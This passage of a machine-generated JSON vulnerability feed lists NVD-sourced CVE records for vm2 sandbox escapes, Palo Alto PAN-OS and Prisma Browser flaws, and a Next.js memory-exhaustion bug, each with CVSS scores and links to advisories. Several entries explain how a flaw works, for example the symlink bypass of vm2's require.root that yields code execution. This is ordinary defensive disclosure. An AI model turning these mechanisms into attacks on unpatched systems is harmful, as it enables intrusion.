date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-6785-pvv7-mvg7","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44001","cveId":"CVE-2026-44001","aliases":[],"kind":"vulnerability","title":"vm2 is an open source vm/sandbox for Node.js.","summary":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the onRejected callback in .then() and .catch() overrides and did not address the executor-to-unhandledRejection path. This vulnerability is fixed in 3.11.0.","detail":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the onRejected callback in .then() and .catch() overrides and did not address the executor-to-unhandledRejection path. This vulnerability is fixed in 3.11.0.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T18:16:16.720Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"vm2 project","product":"vm2","stacks":["Node.js","vm2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44001","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44001","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44001","type":"primary","publishedAt":"2026-05-13T18:16:16.720Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-hw58-p9xv-2mjh","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44000","cveId":"CVE-2026-44000","aliases":[],"kind":"vulnerability","title":"vm2 is an open source vm/sandbox for Node.js.","summary":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including performing identity checks using host-side WeakMap and mutating host object state from inside the sandbox. This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object. As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation. This vulnerability is fixed in 3.11.0.","detail":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including performing identity checks using host-side WeakMap and mutating host object state from inside the sandbox. This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object. As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation. This vulnerability is fixed in 3.11.0.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T18:16:16.590Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"vm2 project","product":"vm2","stacks":["Node.js","vm2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44000","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44000","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44000","type":"primary","publishedAt":"2026-05-13T18:16:16.590Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-mpf8-4hx2-7cjg","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43998","cveId":"CVE-2026-43998","aliases":[],"kind":"vulnerability","title":"vm2 is an open source vm/sandbox for Node.js.","summary":"vm2 is an open source vm/sandbox for Node.js. In 3.10.5, NodeVM's require.root path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses path.resolve() (which does not dereference symlinks) but module loading uses Node's native require() (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution. This vulnerability is fixed in 3.11.0.","detail":"vm2 is an open source vm/sandbox for Node.js. In 3.10.5, NodeVM's require.root path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses path.resolve() (which does not dereference symlinks) but module loading uses Node's native require() (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution. This vulnerability is fixed in 3.11.0.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T18:16:16.317Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"vm2 project","product":"vm2","stacks":["Node.js","vm2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43998","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43998","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43998","type":"primary","publishedAt":"2026-05-13T18:16:16.317Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-cp6g-6699-wx9c","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0265","cveId":"CVE-2026-0265","aliases":[],"kind":"vulnerability","title":"An authentication bypass vulnerability in Palo Alto Networks PAN-OS® software enables an unauthenticated attacker with network access to bypass authentication controls when Cloud...","summary":"An authentication bypass vulnerability in Palo Alto Networks PAN-OS® software enables an unauthenticated attacker with network access to bypass authentication controls when Cloud Authentication Service (CAS) is enabled.\n\n\n\nThe risk is higher if CAS is enabled on the management interface and lower when any other login interfaces are used.\n\nThe risk of this issue is greatly reduced if you secure access to the management web interface by restricting access to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .\n\nThis issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).\n\nCloud NGFW and Prisma Access® are not impacted by this vulnerability.","detail":"An authentication bypass vulnerability in Palo Alto Networks PAN-OS® software enables an unauthenticated attacker with network access to bypass authentication controls when Cloud Authentication Service (CAS) is enabled.\n\n\n\nThe risk is higher if CAS is enabled on the management interface and lower when any other login interfaces are used.\n\nThe risk of this issue is greatly reduced if you secure access to the management web interface by restricting access to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .\n\nThis issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).\n\nCloud NGFW and Prisma Access® are not impacted by this vulnerability.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T18:16:14.693Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"paloaltonetworks","product":"pan-os","stacks":["Palo Alto Networks","pan-os"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:D/RE:M/U:Red","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0265","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0265","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0265","type":"primary","publishedAt":"2026-05-13T18:16:14.693Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.paloaltonetworks.com/CVE-2026-0265","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0264","cveId":"CVE-2026-0264","aliases":[],"kind":"vulnerability","title":"A buffer overflow vulnerability in the DNS proxy and DNS Server features of Palo Alto Networks PAN-OS® Software allows an unauthenticated attacker with network access to cause a...","summary":"A buffer overflow vulnerability in the DNS proxy and DNS Server features of Palo Alto Networks PAN-OS® Software allows an unauthenticated attacker with network access to cause a denial of service (DoS) condition (all PAN-OS platforms except Cloud NGFW and Prisma Access) or potentially execute arbitrary code by sending specially crafted network traffic (PA-Series hardware only).\n\n\n\n\nPanorama, Cloud NGFW, and Prisma® Access are not impacted by this vulnerability.","detail":"A buffer overflow vulnerability in the DNS proxy and DNS Server features of Palo Alto Networks PAN-OS® Software allows an unauthenticated attacker with network access to cause a denial of service (DoS) condition (all PAN-OS platforms except Cloud NGFW and Prisma Access) or potentially execute arbitrary code by sending specially crafted network traffic (PA-Series hardware only).\n\n\n\n\nPanorama, Cloud NGFW, and Prisma® Access are not impacted by this vulnerability.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T18:16:14.283Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"paloaltonetworks","product":"pan-os","stacks":["Palo Alto Networks","pan-os"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:C/RE:H/U:Red","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0264","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0264","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0264","type":"primary","publishedAt":"2026-05-13T18:16:14.283Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.paloaltonetworks.com/CVE-2026-0264","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0263","cveId":"CVE-2026-0263","aliases":[],"kind":"vulnerability","title":"A buffer overflow vulnerability in the IKEv2 processing of Palo Alto Networks PAN-OS® software allows an unauthenticated network-based attacker to execute arbitrary code with...","summary":"A buffer overflow vulnerability in the IKEv2 processing of Palo Alto Networks PAN-OS® software allows an unauthenticated network-based attacker to execute arbitrary code with elevated privileges on the firewall, or cause a denial of service (DoS) condition.\n\n\nPanorama, Cloud NGFW, and Prisma® Access are not impacted by these vulnerabilities.","detail":"A buffer overflow vulnerability in the IKEv2 processing of Palo Alto Networks PAN-OS® software allows an unauthenticated network-based attacker to execute arbitrary code with elevated privileges on the firewall, or cause a denial of service (DoS) condition.\n\n\nPanorama, Cloud NGFW, and Prisma® Access are not impacted by these vulnerabilities.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T18:16:14.003Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"paloaltonetworks","product":"pan-os","stacks":["Palo Alto Networks","pan-os"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:C/RE:H/U:Red","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0263","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0263","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0263","type":"primary","publishedAt":"2026-05-13T18:16:14.003Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.paloaltonetworks.com/CVE-2026-0263","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0237","cveId":"CVE-2026-0237","aliases":[],"kind":"vulnerability","title":"An improper protection of alternate path vulnerability in Palo Alto Networks Prisma® Browser on macOS fails to properly restrict access to an internal automation bridge.","summary":"An improper protection of alternate path vulnerability in Palo Alto Networks Prisma® Browser on macOS fails to properly restrict access to an internal automation bridge. This allows a locally authenticated non-admin user to leverage an exposed communication channel to send unauthorized commands to the browser, bypassing security controls.","detail":"An improper protection of alternate path vulnerability in Palo Alto Networks Prisma® Browser on macOS fails to properly restrict access to an internal automation bridge. This allows a locally authenticated non-admin user to leverage an exposed communication channel to send unauthorized commands to the browser, bypassing security controls.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T18:16:12.990Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"paloaltonetworks","product":"prisma browser","stacks":["Apple macOS","Palo Alto Networks","prisma browser"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:D/RE:M/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0237","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0237","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0237","type":"primary","publishedAt":"2026-05-13T18:16:12.990Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.paloaltonetworks.com/CVE-2026-0237","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44577","cveId":"CVE-2026-44577","aliases":[],"kind":"vulnerability","title":"Next.js is a React framework for building full-stack web applications.","summary":"Next.js is a React framework for building full-stack web applications. From 10.0.0 to before 15.5.16 and 16.2.5, when self-hosting Next.js with the default image loader, the Image Optimization API fetches local images entirely into memory without enforcing a maximum size limit. An attacker could cause out-of-memory conditions by requesting large local assets from the /_next/image endpoint that match the images.localPatterns configuration (by default, all patterns are allowed). This vulnerability is fixed in 15.5.16 and 16.2.5.","detail":"Next.js is a React framework for building full-stack web applications. From 10.0.0 to before 15.5.16 and 16.2.5, when self-hosting Next.js with the default image loader, the Image Optimization API fetches local images entirely into memory without enforcing a maximum size limit. An attacker could cause out-of-memory conditions by requesting large local assets from the /_next/image endpoint that match the images.localPatterns configuration (by default, all patterns are allowed). This vulnerability is fixed in 15.5.16 and 16.2.5.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T17:16:23.173Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"vercel","product":"next.js","stacks":["Next.js","next.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44577","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44577","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44577","type":"primary","publishedAt":"2026-05-13T17:16:23.173Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/vercel/next.js/security/advisories/GHSA-h64f-5h5j-jqjh","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 